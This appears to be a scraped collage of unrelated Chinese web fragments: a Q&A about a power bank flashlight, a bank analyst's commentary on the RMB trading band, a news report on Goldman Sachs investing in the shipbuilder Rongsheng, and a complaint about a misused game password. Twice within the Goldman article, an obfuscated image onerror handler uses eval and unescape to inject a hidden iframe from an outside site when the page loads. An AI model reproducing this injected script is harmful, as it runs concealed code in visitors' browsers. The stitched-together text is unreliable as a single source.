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编辑:张宏祥 来源:新华网 时间: []&[
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飞毛腿 tp-002自带手电筒怎么关闭 一充电手电筒就自己亮了 怎么都关闭不了 这样岂不是边冲边跑电么
提问者采纳
如果这样,就是电路设计存在一些不合理的地方。一般开关手电都是长按或双击,如果这样都关不了,就是电路设计的问题。没想到大名鼎鼎的飞毛腿会出现这种错误!
提问者评价
你真棒,学习了
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我新买的 第一次充电 不是这么巧就坏了吧
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招商银行刘东亮:人民币单边升值结束引发的五个问题
招商银行刘东亮:人民币单边升值结束引发的五个问题出处:大智慧阿思达克通讯社| 发布时间:
10:46  中国央行周末宣布人民币兑美元日间波幅扩大一倍,从围绕中间价上下1%扩大至2%,并表示未来人民币汇率形成机制改革会继续朝着市场化方向迈进,加大市场决定汇率的力度。我们在3月3日的评论中提出,在三元悖论困境下,汇改实际进度可能提前,央行将逐渐放弃维持汇率稳定的目标,此次事件基本验证了这一观点。
  我们认为,结合此次扩大波幅之前人民币即期市场的表现,扩大波幅后央行答记者问的谈话,以及中国当前所处的货币政策环境特点,可以判定,这次改革是人民币汇改进程中一次里程碑式的节点,足以和2005年7月启动首次汇改相比。
  央行发言人答记者问所包含的信息量相当大,我们认为其中最关键的有三句话:
  1)“......有利于增强人民币汇率浮动弹性,不断优化资金配置效率,进一步增强市场配置资源的决定性作用,加快推进经济发展方式转变和结构调整”,这意味着央行认可了汇率对配置资源的重要性,将浮动汇率上升到了调节宏观经济的层面,表明此次改革属于全局性、战略性的布署和安排,并非一般性的日常政策改变;
  2)“未来人民币将与国际主要货币一样,有充分弹性的双向波动会成为常态”,这意味着人民币正大步迈向同美元、欧元、日元等主流货币比肩的阵营,无论是日间波幅还是阶段性波幅,都会大幅扩大,如果上次扩大波幅至上下1%可以总结为“雷声大,雨点小”的话,那么这次很有可能是“雷声大,雨点更大”,2月底以来人民币的宽幅波动会成为常态,过去龟速爬行的状态将趋于结束;
  3)“进一步发挥市场汇率的作用,央行基本退出常态式外汇干预,建立以市场供求为基础,有管理的浮动汇率制度”,这意味着央行将放弃维持汇率稳定的目标,同意将定价权逐渐移交至市场主体,即央行会放弃对人民币汇率的“强制定价”,更多的由市场来决定汇率,也意味着央行政策着力点今后将更加转向货币政策的执行。
  通过央行的表态,我们初步判断,持续数年的人民币单边升值已经告一段落,双向浮动阶段已经真正来临。
  在此基础上,现在有几个问题需要重新梳理:
  1)4%本身有多大意义?
  如果从国际主要货币的日间波幅来看,4%实际上已经进入到没有意义的虚空状态,1%左右的波幅能够满足绝大多数货币在绝大多数情况下的波动需求,超过2%的日间波幅可视为极端市况,容易引发金融市场的不稳定情绪,因此4%的象征意义大于实际意义,如果波幅真的达到4%,很可能意味着中国经济正处于某种危机状态。我们认为,央行发言人的谈话才是关键所在。
  2)未来人民币是否会继续升值?
  考虑到中国经济会继续以较快的速度增长,劳动生产率也将以较快的速度提高,贸易顺差的状态也仍将持续,因此从长期来看,人民币继续升值仍是大概率事件。但是,在逐渐由市场决定汇率的条件下,汇率将会对宏观经济做出反应,有时甚至是激烈的反应,因此假如当中国经济表现出疲软信号时,人民币出现阶段性贬值并不奇怪。
  3)中间价何去何从?
  很显然,多年来市场已经习惯了将中间价理解为政策信号灯而非市场信号灯,如果未来中间价形成机制不变,那么就会对此次市场化改革带来严重的信仰危机,市场参与者可能在短暂试探之后重新回到迷茫状态。因此,我们预计中间价机制改革已提上日程,市场主体对中间价的定价权会逐渐扩大,中间价将逐步向市场信号灯靠拢,并最终在某一时刻结束自己的历史使命。
  4)双向波动对企业是福是祸?
  一方面,双向波动加大将带来汇率风险的上升,出于对不确定性的担忧,企业对汇率避险的需求将大幅上升,另一方面,随着市场波动的加大和成交趋于活跃,涉及汇率的产品种类会更多,流动性更好,报价更优。
  同时,这也对银行提出了挑战,做为产品的提供方,形势将会倒逼银行在市场判断、新产品研发、风险控制、对客报价等多方面进行换档升级。
  5)对国内流动性和货币政策意味着什么?
  随着汇率风险的加大,预计跨境套利资金将趋于减少,央行退出常态式干预,也会减少外汇占款的投放,这样看的话,流动性供给可能趋于收紧,短期有利于央行执行偏紧的货币政策,我们认为这是央行希望看到的结果,货币政策独立性也将得到维护。
  因此,春节后就异常宽松的资金面将面临变数,流动性料将逐步收紧,资金利率中枢将会再次上移。
  但中长期而言,资本的流入流出可能会受到汇率涨跌的强烈影响,从而加大资本流动对国内经济的冲击,预计央行将会更加依赖通过公开市场操作的方式调节流动性,甚至未来不排除启动买**债的方式。
  (作者:招商银行金融市场部高级分析师刘东亮,本文仅代表个人观点)
  发稿:张金栋/何巨骉 审校:周晓峰/王兴
  *本文信息仅供参考,投资者据此操作风险自担。
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来源:未知
作者:未知
发布时间: 16:03:54
高盛入股民营造船企业 东边不亮西边亮0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.}}" src='/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))"> 本报近日从可靠途径了解到,高盛、对冲基金D.E.Shaw和另外一家海外投资机构联合斥资2.5亿美元收购了江苏的未上市民营企业熔盛重工业集团的少量股份。交易已经在一个多月前签署。&&&&&&高盛在华投资自今年8月以来不太顺利。其入股美的电器(000527.SZ)和福耀玻璃(600660.SH)两家上市公司均遭证监会否决,熔盛一役成功无疑会给高盛带来莫大慰藉,毕竟"东边不亮西边亮"。&&&&&&高盛看好船舶业&&&&&&今年8月,当中国船舶(600150.SH)股价"夺命狂奔",率先突破200元大关时,人们恍然明白船舶行业兴旺起来了。&&&&&&江苏熔盛重工业集团是坐落在长江如皋港的民营造船企业,由上海地产商阳光集团投资,2005年开始建设船舶生产线。2006年9月首条船交付,当年还收到了一笔来自挪威的大订单:制造两艘载重15.3万吨的大型苏伊士型油轮。外界估计每艘造价超过7000万美元。南通市外经贸局的网站上显示,熔盛今年开工的15万吨级原油轮将不少于13条,明年将交船10条以上。&&&&&&据路透社报道,今年4月,熔盛重工的主席陈亮曾表示,公司打算出售20%到25%的股份给海外投资者,之后最早在2009年公司将在海外上市。&&&&&&消息人士透露,首先找到熔盛项目的人是D.E.Shaw。这是一家总部设在纽约的对冲基金,创立于1988年,管理资本总计达330亿美元。今年早些时候,该公司聘请了前摩根大通的中国区投行业务联系负责人孟亮加入其香港分部。与熔盛的交易是该基金在中国的第一笔公开私募交易。&&&&&&据不愿透露姓名的人士告诉记者,高盛投资这家企业是因为看好其前景。事实上,这已经不是高盛在船舶行业的第一笔投资。&&&&&&东方证券的船舶行业分析师周凤武表示,今年上半年,我国船舶工业的总利润比去年同期翻了1.5倍,达到64亿元,有的企业订单已经签到2015年。我国所有船舶企业手持订单吨数首次突破1亿吨,超过日本成为世界第二大造船国。&&&&&&面对如此炽热的市场,民营资本自然不会袖手旁观。自2005年以来,大量的民营造船厂在沿海和沿江省份涌现。到目前,民营和地方政府所属的造船厂在生产能力上占到全国总量的三成。&&&&&&"现在中国沿海适合造船的地方,船坞排得满满的,只要有地就能赚钱。"周凤武预计,造船业的兴旺持续到2010年不成问题。&&&&&&成功引入战略投资者对于熔盛而言,意义重大。造船业是资本密集型行业,熔盛虽有阳光集团作靠山,但是要想赶上其他早出发的鸟儿,在船舶业发展的黄金时代分得更多羹,熔盛需要更多资金。现在有了高盛和D.E.Shaw这样优质的合作伙伴,无疑又为集团以后的上市加分。&&&&&&两条腿走路&&&&&&外表华丽的高盛集团在中国开展投资也许不如外界想象的容易。&&&&&&11月5日,证监会否定了高盛入股福耀玻璃,理由是协议的股价远低于11月的福耀玻璃股价。其时距离福耀玻璃宣布向高盛集团控制并管理的GS Capital PartnerS V Fund,L.P.定向增发1.1亿股普通股已有整整1年时间。而这已经是高盛一年以来第二次在类似交易中铩羽而归。 &&&&&&为了分散风险,高盛采取两条腿走路的战略。一边考察上市公司,一边考察非上市公司。&&&&&&相对而言,参股未上市的民营企业程序上的风险相对较小。但是民营企业发展的不确定性又从另一方面增加了投资风险。&&&&&&人民币升值就是造船企业眼下最大的心病。造船企业手里的订单最长的已经签到2015年。在江苏,90%以上的造船订单是出口的,多以美元计价。根据国防科工委的测算,人民币每升值1个百分点,就给造船业造成损失20亿元。&&&&&&上市无疑会大大增强熔盛的竞争力,但是如今在寻求上市的民营造船厂并非只有熔盛一家。江苏太平洋造船集团有限公司、南通明德重工有限公司、烟台来福士海洋工程有限公司和JES国际4家同行企业都在谋划去公开资本市场融资。熔盛能不能赶在造船业市场规模见顶之前,从上千家民营造船厂中脱颖而出,恐怕是高盛人现在最为关心的问题。&&&&&&&&&&&&访问0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.}}" src='/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
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她骗人,我把密码给了她,他不仅没有帮我充,而且还玩我号,我下了,他就玩!!!
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